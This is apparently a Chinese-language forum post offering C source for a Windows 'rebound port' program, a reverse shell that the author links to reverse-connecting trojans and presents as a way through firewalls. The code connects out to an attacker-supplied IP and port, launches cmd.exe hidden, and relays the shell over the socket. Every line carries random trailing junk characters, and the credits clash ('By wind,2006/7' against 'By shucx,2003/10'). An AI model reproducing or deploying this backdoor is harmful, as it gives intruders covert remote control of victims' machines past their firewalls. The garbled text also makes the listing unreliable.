这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0=U70nKr
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/* ============================== ~o15#Pfn/
Rebound port in Windows NT T|'&K:[TJ
By wind,2006/7 l\q}
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===============================*/ *FgJ|y6gk
#include CyM}Hc&w
#include Ya4?{2h@+
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#pragma comment(lib,"wsock32.lib") mv
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void OutputShell(); ahIE;Y\j'
SOCKET sClient; mVH,HqsXa
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H:oQ
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void main(int argc,char **argv) ['Z{@9
{ Sgj/s~j~1
WSADATA stWsaData; )r!e2zc=Q
int nRet; V7<eQ0;m
SOCKADDR_IN stSaiClient,stSaiServer; Px4/O~bLk
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if(argc != 3) NCt~9xS.
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printf("Useage:\n\rRebound DestIP DestPort\n");
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return; ;El <%{(
} r?p{LF
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3o8\/-*<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Gbb\h
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stSaiClient.sin_family = AF_INET; f]_mzF=&
stSaiClient.sin_port = htons(0); w7Dt1axB
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G%hO\EO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8$~3r a
{ jUY+3"?
printf("Bind Socket Failed!\n"); ( tn<
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return; h`?k.{})M
} !$kR ;Q"/
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stSaiServer.sin_family = AF_INET; B?(4f2yE
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); oX|?:MS:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); QrS$P09=\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) };SV!'9s?~
{ YOw?'+8
printf("Connect Error!"); :EB,{|m
return; dB)[O9K)
} %,? vyY
OutputShell(); #<#%>Y^
} ZgF/;8!~V-
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void OutputShell() jH0Bo;
{ 1xC`ZhjcD
char szBuff[1024]; J:};n@<
SECURITY_ATTRIBUTES stSecurityAttributes; ,ep9V,+|
OSVERSIONINFO stOsversionInfo; ;X7i/DQ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j.&
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STARTUPINFO stStartupInfo; >h7$v~nra
char *szShell;
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PROCESS_INFORMATION stProcessInformation; nLd~2qBuv
unsigned long lBytesRead; &z ksRX
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _;G=G5r
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~07RFR
stSecurityAttributes.lpSecurityDescriptor = 0; NhDA7z`b'J
stSecurityAttributes.bInheritHandle = TRUE; 4K,''7N3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); tR O IBq|
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CKC0{J8g
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F@<MT<TRf
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,wTg$g-$
stStartupInfo.wShowWindow = SW_HIDE; B/_6Ieb+
stStartupInfo.hStdInput = hReadPipe; EIK*49b2
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6+ANAk
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GetVersionEx(&stOsversionInfo); +2yF|/WW#
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switch(stOsversionInfo.dwPlatformId) *H*\gaSh
{ @\$Keg=>:
case 1: bX&e_Pd
szShell = "command.com"; %yhI;M^
break; ^2JPyyZa
default: w`Xg%*]}
szShell = "cmd.exe"; ^BNp`x;;`
break; #NMJZ
} m+7`\|`jQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <i7agEdZD
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send(sClient,szMsg,77,0); %O_t`wz
while(1) ITQ9(W
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{ kYtHX~@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,4yG(O$)
if(lBytesRead) w>vmF cp
{ fO+UHSC
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); N1s.3`
send(sClient,szBuff,lBytesRead,0); u#!GMZJN
} H9:%6sds
else 8 >dq=0:
{ q xSs
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lBytesRead=recv(sClient,szBuff,1024,0); OaNc9c"
if(lBytesRead<=0) break; <vLdBfw&N
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i :EO(`
} c
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} ooDdV
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return; IadK@?X6j
}